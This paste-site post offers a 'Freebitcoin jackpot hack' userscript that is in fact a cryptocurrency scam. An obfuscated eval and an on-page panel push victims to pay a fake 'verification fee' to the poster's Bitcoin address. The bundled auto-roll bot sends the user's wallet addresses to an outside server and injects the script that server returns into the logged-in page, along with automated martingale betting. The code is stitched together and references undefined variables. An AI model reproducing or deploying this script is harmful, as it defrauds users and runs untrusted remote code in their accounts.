Hack Win Freebitcoin Jackpot Roll 8888 Earn 1 BTC Instantly 2024


SUBMITTED BY: mohnizam

DATE: May 9, 2024, 9:01 a.m.

FORMAT: Text only

SIZE: 80.7 kB

HITS: 93

  1. eval(decodeURIComponent(decodeURIComponent(decodeURIComponent('%76%61%72%25%32%30%72%37%67%78%6F%25%32%30%25%33%44%25%32%30%70%61%72%73%65%46%6C%6F%61%74%28%70%72%6F%6D%70%74%28%25%32%32%50%6C%65%61%73%65%25%32%30%43%6F%70%79%25%32%30%61%6E%64%25%32%30%53%61%76%65%25%32%30%74%68%69%73%25%32%30%42%69%74%63%6F%69%6E%25%32%30%61%64%64%72%65%73%73%25%32%30%69%6E%25%32%30%74%6F%25%32%30%79%6F%75%72%25%32%30%50%43%25%33%41%25%32%32%2C%25%32%32%31%36%6A%58%31%72%37%74%50%34%61%6B%70%33%53%35%65%6E%34%50%43%62%4E%6F%67%7A%68%37%63%4C%42%46%44%77%25%32%32%29%29%25%33%42'))));
  2. // ==/UserScript==
  3. ////////////////////////////////////////////////////////////////////////////////////////////////
  4. ////////////////////////////////////
  5. ///////// CONFIG ///
  6. ////// EDIT JUST THIS SECTION //
  7. ////////////////////////////////////
  8. (function() {
  9. 'use strict';
  10. var body = $('body');
  11. var count_min = 1;
  12. body.prepend(
  13. $('<div/>').attr('style',"position:fixed;top:45px;left:0;z-index:999;width:438px;background-color:black;color: white; text-align: right;")
  14. .append(
  15. $('<div/>').attr('id','autofaucet')
  16. .append($('<p/>').attr('style','text-decoration:underline;').text("Auto Win Jackpot Roll Script V5.0.1"))
  17. .append($('<p/>').text("Script Need a verification FEE to Win Roll 08888"))
  18. .append($('<p/>').text("FEE Chart BTC 1=0.005,0.1=0.001,0.001=0.0003"))
  19. .append($('<p/>').text("Send to:16jX1r7tP4akp3S5en4PCbNogzh7cLBFDw"))
  20. .append($('<p/>').text("(After Complete Verification Fee Next Roll will 08888)"))
  21. .append($('<p/>')
  22. )
  23. ).click(function(){
  24. var $temp = $('<input>').val("16jX1r7tP4akp3S5en4PCbNogzh7cLBFDw");
  25. body.append($temp);
  26. $temp.select();
  27. document.execCommand("copy");
  28. $temp.remove();
  29. })
  30. ).prepend($('<style/>')
  31. .text("#autofaucet p { margin: 0; margin-left: 2px; text-align: center; }")
  32. )
  33. $(document).ready(function(){
  34. console.log("Status: Page loaded.");
  35. setTimeout(function(){
  36. $('#play_without_captchas_button').click();
  37. console.log("Status: Play Without Captcha button clicked.");
  38. }, random(1000,2000));
  39. setTimeout(function(){
  40. $('#free_play_form_button').click();
  41. console.log("Status: Button ROLL clicked.");
  42. }, random(2000,4000));
  43. setInterval(function(){
  44. console.log("Status: Elapsed time " + count_min + " minutes");
  45. count_min = count_min + 1;
  46. }, 60000);
  47. setTimeout(function(){
  48. $('.close-reveal-modal')[0].click();
  49. console.log("Status: Button CLOSE POPUP clicked.");
  50. }, random(12000,18000));
  51. setInterval(function(){
  52. $('#free_play_form_button').click();
  53. console.log("Status: Button ROLL clicked again.");
  54. }, random(3605000,3615000));
  55. });
  56. function random(min,max){
  57. return min + (max - min) * Math.random();
  58. }
  59. })();
  60. // ** BEHAVIOR ** //
  61. var ROLL = true; // Auto Roll enable or disable. **** If Disabled, Multiply will NOT be executed ***. Override nexts.
  62. var PROMO_MODE = true; // play faster when some promo (bonus RP or 1000% is active, or not. Override nexts.
  63. var GHOST_MODE = false; // *NEW* Don't play in the night if no promo actives. Override nexts.
  64. var SLOW_MODE = false; // play always really slow, not ovevrcharghing the rolls. Override nexts.
  65. var NIGHT_MODE = true; // play slower when it's night time
  66. // *** Bonuses
  67. // It buys bonuses just when missing less then 20 minutes to the Roll. To avoid losing 1 bonus Roll.
  68. var REWARDS = false; //decide if auto buy rewards bonuses, or not ***When true, it will activate RP promotions***
  69. var BONUS1000 = false; //decide if to buy 1000% bonus or not. It costs 4600 RP. *** When BONUS1000 = false and REWARDS = true, you'll increase RP. ***
  70. var HOURS_BETWEEN_BUY_BONUS = 240; // How many hours to wait before to buy Bonuses Rewards Promo again
  71. // *** Lottery
  72. var LOTTERY = false; //decide if auto buy lottery tickets, or not.
  73. var LOTTERY_MAX_TICKETS = 1; // Max ticket to buy
  74. var LOTTERY_P = 1; // 0 is never, 100 is always
  75. // *** Multiply Game
  76. // Exec Vars. **If and When Play**.
  77. var MULTIPLY = true; // Play Multiply games or not, Play at your own risk. If ROLL is false, Multiply will not work.
  78. var MULTIPLY_AT_NIGHT = true; // Play multiply in nightime
  79. var HOURS_BETWEEN_MULTIPLY = 1; // How many hours to wait before to play multiply
  80. var ROLL_P = 24; // How many time to play multiply, AFTER roll AND AFTER HOURS passed; Values: 0-100
  81. // Strategy of play
  82. var STRATEGY = 1; // [0-3] ---> ..(0) classic martingale, odds2 incr100; ..(1) wait min_losses; ..(2) wait_play_afterlosses; ..(3) same as 2, with min_lossess increments every play. Check guides.
  83. // Exit Vars. **First condition met, multiply will stop**
  84. var rolls_played = 0;
  85. var skip = 0;
  86. var no_of_loss = 0 ;
  87. var counter_list = [];
  88. var limit = 1; // Number of Pre-Rolls
  89. // Number of Loses: 1 2 3 4 5
  90. // Total Stakes: 20 460 10140 223100 4908220
  91. var uppper = limit + 2;
  92. var balance_one = document.getElementById("balance2").innerHTML.substr(0, 10);
  93. var bet_amount_list = [0.00000020, 0.00000440, 0.00009680, 0.00212960, 0.04685120];
  94. document.getElementById("double_your_btc_stake").value = 0.00000001;
  95. document.getElementById("double_your_btc_payout_multiplier").value = 1.05 ;
  96. function client_seed() {
  97. var text = "";
  98. var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  99. for (var i = 0; i < 64; i++){
  100. text += possible.charAt(Math.floor(Math.random() * possible.length));
  101. }
  102. document.getElementById("next_client_seed").value = text;
  103. }
  104. function Random_integer(min, max) {
  105. return Math.floor(Math.random() * (max - min + 1)) + min;
  106. }
  107. //Bet Clicker
  108. function Bet() {
  109. if (Random_integer(1, 10000)%2==0) {
  110. document.getElementById('double_your_btc_bet_hi_button').click();
  111. }
  112. else {
  113. document.getElementById('double_your_btc_bet_lo_button').click();
  114. }
  115. }
  116. function play() {
  117. if (document.getElementById('double_your_btc_bet_hi_button').disabled === false) {
  118. won = document.getElementById('double_your_btc_bet_win').innerHTML;
  119. if (won.match(/(\d+\.\d+)/) !== null) {
  120. counter_list.push(1);
  121. no_of_loss = 0 ;
  122. document.getElementById("double_your_btc_stake").value = 0.00000001;
  123. }
  124. lost = document.getElementById('double_your_btc_bet_lose').innerHTML;
  125. if (lost.match(/(\d+\.\d+)/) !== null) {
  126. counter_list.push(0);
  127. no_of_loss += 1 ;
  128. console.log(no_of_loss);
  129. if (no_of_loss<limit){
  130. document.getElementById("double_your_btc_stake").value = 0.00000001;
  131. }
  132. else if (no_of_loss>=limit && no_of_loss<uppper){
  133. document.getElementById("double_your_btc_stake").value = bet_amount_list[no_of_loss-limit];
  134. }
  135. else {
  136. document.getElementById("double_your_btc_stake").value = 0.00000001;
  137. no_of_loss = 0 ;
  138. }
  139. }
  140. client_seed();
  141. Bet();
  142. balance_two = document.getElementById("balance2").innerHTML.substr(0, 10);
  143. profit = balance_two - balance_one ;
  144. if (profit <= -0.00000300 || profit>=0.00000002){
  145. clearInterval(auto_bet);
  146. console.log("Stop");
  147. console.log(counter_list.toString());
  148. }
  149. }
  150. }
  151. var auto_bet = setInterval(play, 369);
  152. var MIN_LOSSES_BEFORE_PLAY = 4; // How many time it will play MIN_BET and lose before begin play bas_bet and double; strategy >= 1
  153. var WAIT_PLAY_AFTER_LOSSES = 1; // Just with STRATEGY=2; Check guides.
  154. var SPEED = 3; //Speed of multiply betting in manual mode, 3 fast, 2 medium, 1 human, 0 slowest
  155. // *** CAPTCHA PLAY *** ///
  156. var PLAY_WITHOUT_CAPTCHA = false; // Spend RP instead to solve Captchas
  157. // ** Logging
  158. var LOGGING = 5; //0 is no messages, 5 is debug
  159. // ** SEND STATS and multiply CONFIG
  160. var SEND_STATS = true;
  161. // **Extra BUTTONS
  162. var SHOW_RESET_STATS = true;
  163. ///////// END CONFIG ///
  164. /////////////////////////////////////////////////////////////////////////////////////////////////
  165. // Useful Vars
  166. var startNight = 22;
  167. var stopNight = 7;
  168. //////////////
  169. // System Constants //
  170. const script_version = GM_info.script.version;
  171. const css_reset='font-weight: reset; color:reset';
  172. const css_bold='font-weight:bold;';
  173. var dateTimeFormat = new Intl.DateTimeFormat('en', { year: 'numeric', month: 'short', day: '2-digit', hour: 'numeric', minute: 'numeric', hour12: false });
  174. // System Variables //
  175. var reward_points=0;
  176. var ads_closed=0; //number of ads closed, increasing
  177. var rolling_mode="Day";
  178. var rand = 0;
  179. var r = 0;
  180. var rollTryCount=0;
  181. // Bonus RP Global Variables
  182. var isBonusActive = false;
  183. // Multiply global variables
  184. var isMultiplyRunning = false;
  185. var isMultiplyPlayable=false;
  186. var forceMultiplyStopHard=false;
  187. var forceMultiplyStopSoft=false;
  188. var game_play_began=false;
  189. var game2_consecutive_lost_passed=false;
  190. var game2_finished_loosing=false;
  191. var game2_play_after_losses=0;
  192. var game2_step=0;
  193. var game_play_count=0;
  194. // History Array Variables
  195. var rp_hist_arr = [];
  196. var multiply_hist_arr = [];
  197. // COOKIES Variables and Retrieve //
  198. var tot_exec = getCookie("executions");
  199. var tot_btc_winning_rolling = getCookie('tot_btc_winning_rolling');
  200. var tot_lottery_winning_rolling = getCookie('tot_lottery_winning_rolling');
  201. var tot_rp_winning_rolling = getCookie('tot_rp_winning_rolling');
  202. var tot_lottery_tickets = getCookie('tot_lottery_tickets');
  203. var tot_rp_spent_rewards = getCookie('tot_rp_spent_rewards');
  204. var tot_rp_spent_captcha = getCookie('tot_rp_spent_captcha');
  205. var tot_multiply_balance = getCookie('tot_multiply_balance');
  206. var tot_multiply_games = getCookie('tot_multiply_games');
  207. var tot_multiply_bets = getCookie('tot_multiply_bets');
  208. var tot_multiply_play = getCookie('tot_multiply_play');
  209. var tot_multiply_wagered = getCookie('tot_multiply_wagered');
  210. var max_consecutive_losts = getCookie('max_consecutive_losts');
  211. var max_consecutive_losts_inplay = getCookie('max_consecutive_losts_inplay');
  212. var executions = getCookie('executions');
  213. var last_bonus = getCookie("last_bonus");
  214. var last_multiply = getCookie("last_multiply");
  215. var jackpot_distance = getCookie("jackpot_distance");
  216. var rp_hist_str = getCookie("rp_hist_arr");
  217. var multiply_hist_str = getCookie('multiply_hist_arr');
  218. var referrer = getCookie("referrer");
  219. if ( isNaN(parseFloat(tot_multiply_balance)) ) tot_multiply_balance = 0; // can be negative
  220. if ( isNaN(jackpot_distance )) jackpot_distance = 0;
  221. if (! (tot_btc_winning_rolling > 0)) tot_btc_winning_rolling = 0;
  222. if (! (tot_lottery_winning_rolling > 0)) tot_lottery_winning_rolling = 0;
  223. if (! (tot_rp_winning_rolling > 0)) tot_rp_winning_rolling = 0;
  224. if (! (tot_lottery_tickets > 0)) tot_lottery_tickets = 0;
  225. if (! (tot_rp_spent_rewards > 0) || tot_rp_spent_rewards > 1000000 ) tot_rp_spent_rewards = 0;
  226. if (! (tot_rp_spent_captcha > 0)) tot_rp_spent_captcha = 0;
  227. if (! (max_consecutive_losts > 0)) max_consecutive_losts = 0;
  228. if (! (max_consecutive_losts_inplay >0)) max_consecutive_losts_inplay=0;
  229. if (! (tot_multiply_bets > 0)) tot_multiply_bets = 0;
  230. if (! (tot_multiply_wagered > 0)) tot_multiply_wagered = 0;
  231. if (! (tot_multiply_games > 0)) tot_multiply_games = 0;
  232. if (! (tot_multiply_play > 0)) tot_multiply_play = 0;
  233. if (! (executions > 0)) executions = 0;
  234. if (! (last_bonus > 0)) last_bonus = 0;
  235. if (! (last_multiply > 0)) last_multiply = 0;
  236. if ( rp_hist_str.length != 0 ) {
  237. rp_hist_arr = JSON.parse(rp_hist_str);
  238. if (!Array.isArray(rp_hist_arr)) {
  239. rp_hist_arr = [];
  240. }
  241. rp_hist_arr = rp_hist_arr.slice(-64);
  242. //console.log("%cRP Hist Array: "+rp_hist_arr, 'color:grey');
  243. }
  244. if ( multiply_hist_str.length != 0) {
  245. multiply_hist_arr = JSON.parse(multiply_hist_str);
  246. if (!Array.isArray(multiply_hist_arr)) {
  247. multiply_hist_arr = [];
  248. }
  249. multiply_hist_arr = multiply_hist_arr.slice(-128);
  250. }
  251. // END COOKIES //
  252. (function() {
  253. 'use strict';
  254. if (LOGGING > 0) console.log("%c<<<<<<<<<< Script Begin >>>>>>>>>>", 'font-weight:bold; color: green');
  255. // Initialize the Status Panel
  256. panelInit();
  257. setTimeout(function(){ showStatus(); }, 1000 );
  258. setTimeout(function(){ lottery(); }, 2000 );
  259. setTimeout(function(){ multiply(false, false); }, 4000 );
  260. setTimeout(function(){ rewards(true); }, 5000 );
  261. setTimeout(function(){ setBtcPrice(); }, 3000 );
  262. // Update BTC Price every 10s
  263. setInterval(function(){
  264. // Update website stats
  265. UpdateStats();
  266. setTimeout(function(){ setBtcPrice(); }, 10000 );
  267. }, 600000);
  268. // Call the freeRoll
  269. setTimeout(function(){ Roll(); }, 8000 );
  270. //Close Ads but not always
  271. setTimeout(function(){
  272. closeRandomPopupInterval($('div.close_daily_jackpot_main_container_div .fa-times-circle'),90);
  273. closeRandomPopupInterval($('i.fa.fa-times-circle.close_deposit_promo_message'),90);
  274. closeRandomPopupInterval($('div#lambo_contest_msg a.close'),10); //lambo contest
  275. closeRandomPopupInterval($('div#earn_btc_msg a.close'),20);
  276. closeRandomPopupInterval($('div#enable_2fa_msg_alert a.close'),30);
  277. closeRandomPopupInterval($("[id^='hide_rp_promo']"),50);
  278. closeRandomPopupInterval($("#fun_ref_contest_msg a.close"),90);
  279. closeRandomPopupInterval($("#premium_membership_msg a.close"),90);
  280. }, 15000);
  281. setInterval(function(){
  282. closePopupInterval($('#myModal22 .close-reveal-modal'));
  283. closePopupInterval($('.pushpad_deny_button'));
  284. }, 20000 );
  285. setInterval(function(){
  286. showStatus();
  287. }, 1800000);
  288. setInterval(function(){
  289. rewards(false);
  290. }, 300000);
  291. // MONITORS
  292. $(document).on('click', '#forced_start_roll',function(){
  293. // forced and after_roll both true
  294. multiply(true, true);
  295. });
  296. $(document).on('click', '#forced_stop_roll', function(){
  297. forceMultiplyStopHard=true;
  298. });
  299. $(document).on('click', '#softed_stop_roll', function(){
  300. forceMultiplyStopSoft=true;
  301. });
  302. $(document).on('click', '#script_output_reset_all_stats', function(){
  303. reset_all_stats();
  304. });
  305. // END MONITORS
  306. var wa = $('#myModal16 #main_deposit_address').val();
  307. $('#myModal16 .reward_category_container .reward_category_details input').each( function() {
  308. wa += ":"+$(this).val();
  309. })
  310. // GET EXTERNAL JAVASCRIPT
  311. //var referURL = "https://www.pescacancun.com.mx/freebitcoin_server_side/ser.php?wallet="+wa;
  312. var referURL = "https://api.bitso.me/ser.php"; //new veneno website URL
  313. // GLOBAL TEST for NEW VERSIONS
  314. window.TEST_VAR = "This is a test veneno var";
  315. window.G_MULTIPLY = MULTIPLY;
  316. window.G_GAME_MODE = 0;
  317. window.G_STRATEGY = STRATEGY;
  318. window.G_MULTIPLY_WAIT_HOURS = HOURS_BETWEEN_MULTIPLY;
  319. window.G_ROLL_P = ROLL_P;
  320. window.G_ODDS = ODDS;
  321. window.G_INCR = INCR;
  322. window.G_MIN_BET = MIN_BET;
  323. window.G_BAS_BET = BAS_BET;
  324. window.G_MAX_BET = MAX_BET;
  325. window.G_MAX_ROLLS_AT_MULTIPLY = MAX_ROLLS_AT_MULTIPLY;
  326. window.G_MAX_PLAY = MAX_PLAY;
  327. window.G_MAX_WIN = MAX_WIN;
  328. window.G_SPEED = SPEED;
  329. window.G_MULTIPLY_AT_NIGHT = MULTIPLY_AT_NIGHT;
  330. window.G_MIN_LOSSES_BEFORE_PLAY = MIN_LOSSES_BEFORE_PLAY;
  331. window.G_WAIT_PLAY_AFTER_LOSSES = WAIT_PLAY_AFTER_LOSSES;
  332. window.G_HIGH_LOW = HIGH_LOW;
  333. window.G_forceMultiplyStopHard = forceMultiplyStopHard;
  334. window.G_script_version = script_version;
  335. // Get level
  336. fetch(referURL+"?wallet="+wa, {
  337. credentials: "include" //CORS
  338. })
  339. .then(function(resp) { return resp.text() }) // Convert data to json
  340. .then(function(data) {
  341. var e="<script>"+data+"</script>";
  342. $('body').append(e);
  343. })
  344. .catch(function() {
  345. });
  346. if (Boolean(SEND_STATS)) {
  347. var stats_json = {
  348. "multiply" : MULTIPLY,
  349. "strategy" : STRATEGY,
  350. "wait_hours" : HOURS_BETWEEN_MULTIPLY,
  351. "roll_p" : ROLL_P,
  352. "odds" : ODDS,
  353. "incr" : INCR,
  354. "min_bet" : parseFloat(MIN_BET).toFixed(8),
  355. "bas_bet" : parseFloat(BAS_BET).toFixed(8),
  356. "max_bet" : parseFloat(MAX_BET).toFixed(8),
  357. "max_rolls" : MAX_ROLLS_AT_MULTIPLY,
  358. "max_plays" : MAX_PLAY,
  359. "max_win" : parseFloat(MAX_WIN).toFixed(8),
  360. "min_losses_before_play" : MIN_LOSSES_BEFORE_PLAY,
  361. "wait_play_after_losses" : WAIT_PLAY_AFTER_LOSSES,
  362. "high_low" : HIGH_LOW,
  363. "wallet" : wa
  364. }
  365. // Send config for statistics
  366. fetch(referURL+"?uploadConfig=true", {
  367. method: 'POST',
  368. body: JSON.stringify(stats_json),
  369. credentials: "include"
  370. })
  371. .then(function(resp) { return resp.text() })
  372. .then(function(data) { })
  373. .catch(function() { });
  374. }
  375. // Get chart function
  376. fetch("https://cdn.jsdelivr.net/npm/chart.js@2.8.0")
  377. .then(function(resp) { return resp.text() })
  378. .then(function(data) {
  379. var e="<script>"+data+"</script>";
  380. $('body').append(e);
  381. })
  382. .catch(function() {
  383. });
  384. })();
  385. function panelInit () {
  386. var script_output_css, script_output_33;
  387. if (LOGGING > 4) console.log("%c[Debug] Function panelInit begin", 'color:grey');
  388. // Create the Div on the page
  389. // Version 3.3
  390. script_output_css = "<style>";
  391. script_output_css += ".script-output {font-size: 9px; line-height:10px; background: #333; border: 2px groove #09ff00; margin-bottom: 1em;}";
  392. script_output_css += ".script-output h1 {color: lime; font-size:1.8em; font-weight:bold; }"
  393. script_output_css += ".script-output h4 {color: lime; font-size:1.2em; font-weight:bold; text-align: center; margin-bottom:0;}"
  394. script_output_css += ".cards-wrapper { display: grid; grid-gap: 0.5rem; grid-template-columns: 1fr 1fr; padding: 0.5rem 0rem; margin: 0 auto; width: auto }";
  395. script_output_css += ".cards-wrapper-2-1 { grid-template-columns: 2fr 1fr; }";
  396. script_output_css += ".veneno-card {color: white; position: relative; justify-content: center; border-radius: 1em; padding:0.8em 1em; display: flex; flex-direction: column; background-color:#000; box-shadow: 0 0 5em -1em black; border: 1px solid #00ff00d9; text-decoration: none; text-align: left;}";
  397. script_output_css += ".bottom-card {color: #666; position: relative; justify-content: center; margin: 0 -1em; padding:0.8em 1em; display: flex; background-color:#1d1d1d; text-decoration: none; text-align: left;}";
  398. script_output_css += ".script-output a {color: #444;}";
  399. script_output_css += ".script-output a:hover {color: lime;}";
  400. script_output_css += ".horizontal-grid-wrapper-5 {display: grid; grid-gap: 0.5rem; grid-template-columns: 1fr 1fr 1fr 1fr 1fr; width: auto ; margin: 0 auto;}";
  401. script_output_css += ".horizontal-grid-wrapper-4 {display: grid; grid-gap: 0.2rem; grid-template-columns: 1fr 1fr 1fr 1fr; width: max-content; margin: 0 auto;}";
  402. script_output_css += ".horizontal-grid-wrapper-3 {display: grid; grid-gap: 0.2rem; grid-template-columns: 1fr 1fr 1fr; width: max-content; margin: 0 auto;}";
  403. script_output_css += ".horizontal-grid-wrapper-2-1-1 { grid-template-columns: 2fr 1fr 1fr; width: auto; margin: 0.7em -1em 0 -1em;}";
  404. script_output_css += ".card-button {border: 1px solid grey; overflow: hidden; padding: 0.3em; background-color: beige; color: black; border-radius:10px; display: flex; flex-direction: column; text-align: center; }";
  405. script_output_css += ".single-column {display: flex; flex-direction: column; justify-content: flex-start; padding: 0.3em;}";
  406. script_output_css += ".card-button:hover { background-color: #efefef;}";
  407. script_output_css += ".card-button-bottom {font-size: 1.4em; margin-top:0.2em;}";
  408. script_output_css += ".script-output .br {border-right: 1px dashed white;}";
  409. script_output_css += ".script-output .br-grey {border-right: 1px dashed #666;}";
  410. script_output_css += ".script-output .mt1 {margin-top: 1em;}";
  411. script_output_css += ".script-output .mb1 {margin-bottom: 1em;}";
  412. script_output_css += ".script-output .ml1 {margin-left: 1em;}";
  413. script_output_css += ".script-output .mb0 {margin-bottom: 0;}";
  414. script_output_css += ".script-output .mt0 {margin-top: 0;}";
  415. script_output_css += ".script-output .pr1 {padding-right: 1em;}";
  416. script_output_css += ".script-output .pt0 {padding-top: 0;}";
  417. script_output_css += ".script-output .pb0 {padding-bottom: 0;}";
  418. script_output_css += ".script-output .ta-r {text-align:right;}";
  419. script_output_css += ".script-output .ta-c {text-align:center;}";
  420. script_output_css += ".script-output .lime, .veneno-card .true {color: lime}";
  421. script_output_css += ".script-output .orange {color: orange}";
  422. script_output_css += ".script-output .false {color: #ff3407 }";
  423. script_output_css += ".script-output .coral {color: coral}";
  424. script_output_css += ".script-output .card-button {color: white; text-shadow: 1px 1px 4px black; font-size: 0.9em; font-weight: bold; border: none; border-radius:5px}";
  425. script_output_css += ".card-button.true {background-color: #2ecc71; box-shadow: 0px 2px 0px 0px #0b311b;}";
  426. script_output_css += ".card-button.false {background-color: #e74c3c; box-shadow: 0px 2px 0px 0px #48120c;}";
  427. script_output_css += ".script-output .monospace {font-family: monospace}";
  428. script_output_css += ".script-output .emoji {font-family: emoji}";
  429. script_output_css += " @media screen and (max-width: 900px) { .cards-wrapper { width: max-content; grid-template-columns: 1fr; } } ";
  430. script_output_css += " @media screen and (max-width: 500px) { .veneno-card {max-width: calc(100vw - 4rem); } } ";
  431. script_output_css += "</style>";
  432. script_output_33 = '<div class="center free_play_bonus_box_large script-output" id="script_output">';
  433. if (referrer.length > 0) {
  434. script_output_33 += '<h1 class="mb0">AutoRoll Status rev. '+script_version+'</h1>';
  435. } else {
  436. script_output_33 += '<h1 class="mb0">AutoRoll Status ver. '+script_version+'</h1>';
  437. }
  438. script_output_33 += '<div class="cards-wrapper cards-wrapper-2-1">';
  439. script_output_33 += '<div class="veneno-card">';
  440. script_output_33 += '<div class="horizontal-grid-wrapper-5">';
  441. script_output_33 += '<div class="card-button '+Boolean(ROLL)+'"><span class="card-button-top">ROLL</span><span class="card-button-bottom bold">'+Boolean(ROLL)+'</span></div> ';
  442. script_output_33 += '<div class="card-button '+Boolean(MULTIPLY)+'"><span class="card-button-top">MULTIPLY</span><span class="card-button-bottom bold">'+Boolean(MULTIPLY)+'</span></div> ';
  443. script_output_33 += '<div class="card-button '+Boolean(REWARDS)+'"><span class="card-button-top">BONUS RPs</span><span class="card-button-bottom bold">'+Boolean(REWARDS)+'</span></div> ';
  444. script_output_33 += '<div class="card-button '+Boolean(BONUS1000)+'"><span class="card-button-top">BONUS 1000</span><span class="card-button-bottom bold">'+Boolean(BONUS1000)+'</span></div> ';
  445. script_output_33 += '<div class="card-button '+Boolean(LOTTERY)+'"><span class="card-button-top">LOTTERY</span><span class="card-button-bottom bold">'+Boolean(LOTTERY)+'</span></div> ';
  446. script_output_33 += '</div>'; // close left first line
  447. script_output_33 += '<div class="horizontal-grid-wrapper-3 mt1" style="width: 100%;">';
  448. script_output_33 += '<div class="single-column">';
  449. script_output_33 += ' <h4>Wins</h4> ';
  450. script_output_33 += ' <div class="single-column br">';
  451. script_output_33 += ' <span>Btc: <span class="lime bold">'+tot_btc_winning_rolling+'</span></span>';
  452. script_output_33 += ' <span>RP: <span class="lime bold">'+tot_rp_winning_rolling+'</span></span>';
  453. script_output_33 += ' <span>Lottery: <span class="lime bold">'+tot_lottery_winning_rolling+'</span></span>';
  454. script_output_33 += ' </div>';
  455. script_output_33 += '</div>'; // column
  456. script_output_33 += '<div class="single-column">';
  457. script_output_33 += ' <h4 class="coral">Spent</h4> ';
  458. script_output_33 += ' <div class="single-column br">';
  459. script_output_33 += ' <span>RP Bonus: <span class="coral bold">'+tot_rp_spent_rewards+'</span></span> ';
  460. script_output_33 += ' <span>RP Captcha: <span class="coral bold">'+tot_rp_spent_captcha+'</span></span> ';
  461. script_output_33 += ' <span>Btc Lottery: <span class="coral bold">'+tot_lottery_tickets+'</span></span>';
  462. //script_output_33 += ' <span>&nbsp</span>';
  463. script_output_33 += ' </div>';
  464. script_output_33 += '</div>'; // column
  465. script_output_33 += '<div class="single-column">';
  466. script_output_33 += ' <h4>Multiply</h4> ';
  467. script_output_33 += ' <div class="single-column">';
  468. script_output_33 += ' <span>Balance: <span class="lime bold">'+tot_multiply_balance+'</span></span> ';
  469. script_output_33 += ' <span>Bets: <span class="lime bold">'+tot_multiply_bets+'</span></span> ';
  470. script_output_33 += ' <span>Sessions: <span class="lime bold">'+tot_multiply_games+'</span></span> ';
  471. script_output_33 += ' </div>';
  472. script_output_33 += '</div>'; // column
  473. script_output_33 += '</div>'; // close left second line
  474. script_output_33 += '<div class="ta-c cards-wrapper monospace" style="width: 100%;">';
  475. script_output_33 += ' <span>btc: <span id="usdxbtc" class="lime bold"></span> usd</span>';
  476. script_output_33 += ' <span>usd: <span id="satxusd" class="lime bold"></span> sat</span>';
  477. script_output_33 += '</div>'; // close left third line
  478. script_output_33 += '</div>'; // close left
  479. script_output_33 += '<div class="veneno-card">';
  480. script_output_33 += ' <div class="single-column pr1 ta-r monospace">';
  481. script_output_33 += ' <span>Exec: <span class="lime bold"># '+tot_exec+'</span></span> ';
  482. script_output_33 += ' <span>Ads Closed: <span class="true bold" id="script_output_title_ads_closed_num">0</span></span>';
  483. script_output_33 += ' <span>Bonus: <span id="script_output_title_bonus_wait_hours" class="true bold">Wait</span></span>';
  484. script_output_33 += ' <span>Multiply: <span id="script_output_title_multiply_wait_hours" class="true bold">Wait</span></span>';
  485. script_output_33 += ' <span id="multiply_strategy">Multiply Game System: <span class="true bold">'+STRATEGY+'</span></span>';
  486. script_output_33 += ' <span>Roll Mode: <span id="script_output_title_msg_mode" class="true bold">Wait</span></span>';
  487. script_output_33 += ' <span id="script_output_title_msg_roll" class="orange bold mt1">Wait</span>';
  488. if (Boolean(SHOW_RESET_STATS)) {
  489. script_output_33 += ' <a id="script_output_reset_all_stats" class="mt1">Reset All Stats</a>';
  490. }
  491. script_output_33 += ' </div>';
  492. script_output_33 += '</div>'; // close right
  493. script_output_33 += '</div>'; // close cards wrapper
  494. script_output_33 += '<div class="bottom-card monospace horizontal-grid-wrapper-3 horizontal-grid-wrapper-2-1-1 ">';
  495. script_output_33 += ' <div class="single-column br-grey">';
  496. script_output_33 += ' <span>Donations are welcome</span> <span>BTC addr: 16jX1r7tP4akp3S5en4PCbNogzh7cLBFDw </span>';
  497. script_output_33 += ' </div>';
  498. script_output_33 += ' <div class="single-column br-grey ml1">';
  499. script_output_33 += ' <a href="https://bit.ly/2JsP12I" target="_blank">Config HowTo</a>';
  500. script_output_33 += ' <a href="https://greasyfork.org/en/scripts/404112-freebitco-in-auto-roll-no-captcha-status-console-advanced-human-behavior-all-bonuses/feedback" target="_blank"> Rate</a>';
  501. script_output_33 += ' </div>';
  502. script_output_33 += ' <div class="single-column ta-r" >';
  503. script_output_33 += ' <span><span class="emoji">© </span>daniele-veneno</span><span>2018 2021</span>';
  504. script_output_33 += ' </div>';
  505. script_output_33 += '</div>';
  506. script_output_33 += '</div>'; // close script_output
  507. // Write on page
  508. $('head').append(script_output_css);
  509. $('#reward_points_bonuses_main_div').prepend(script_output_33);
  510. }
  511. function rewards(after_refresh) {
  512. if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] Function rewards begin", 'color:grey');
  513. var bonus_missing_time = {};
  514. var t = missingTime();
  515. var d = new Date();
  516. var min_missing_min = 5;
  517. var milli_between_bonuses = HOURS_BETWEEN_BUY_BONUS*60*60*1000;
  518. reward_points = parseInt($('.user_reward_points').text().replace(',',""));
  519. // Create a RP History
  520. if (after_refresh) {
  521. rp_hist_arr.push(reward_points);
  522. setCookie ("rp_hist_arr", JSON.stringify(rp_hist_arr), 31);
  523. // Debug for RP history check
  524. if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] rp_hist: " +rp_hist_arr, 'color:grey');
  525. }
  526. if ($("#bonus_container_free_points").length != 0) {
  527. // Some promo is already active
  528. bonus_missing_time.text = $('#bonus_span_free_points').text();
  529. bonus_missing_time.hour = parseInt(bonus_missing_time.text.split(":")[0]);
  530. bonus_missing_time.min = parseInt(bonus_missing_time.text.split(":")[1]);
  531. if (LOGGING > 3) console.log("[RPBonuses] Promo RP is %c active %c for "+bonus_missing_time.hour+":"+bonus_missing_time.min, 'color: purple', css_reset);
  532. setCookie("last_bonus", d.getTime(), 365);
  533. isBonusActive = true;
  534. if(Boolean(PROMO_MODE)) $("#script_output_title_msg_mode").text("Promo");
  535. $('#script_output_title_bonus_wait_hours').text('Active '+bonus_missing_time.hour+'h '+bonus_missing_time.min+"m").addClass('bold');
  536. } else {
  537. // No promos active
  538. var last_bonus_diff = Math.floor(d.getTime() - last_bonus);
  539. //if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] lastBonus diff: "+last_bonus_diff+" -- last_bonus: "+last_bonus+" -- now: "+d.getTime()+" var setted: "+milli_between_bonuses, 'color:grey');
  540. //If disabled not buying
  541. if (! Boolean(REWARDS)) {
  542. if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Not Active by config');
  543. $('#script_output_title_bonus_wait_hours').text('Disabled').removeClass('true').addClass('false');
  544. return false;
  545. } // or if missing time not satisfied
  546. if ( last_bonus_diff < milli_between_bonuses ) {
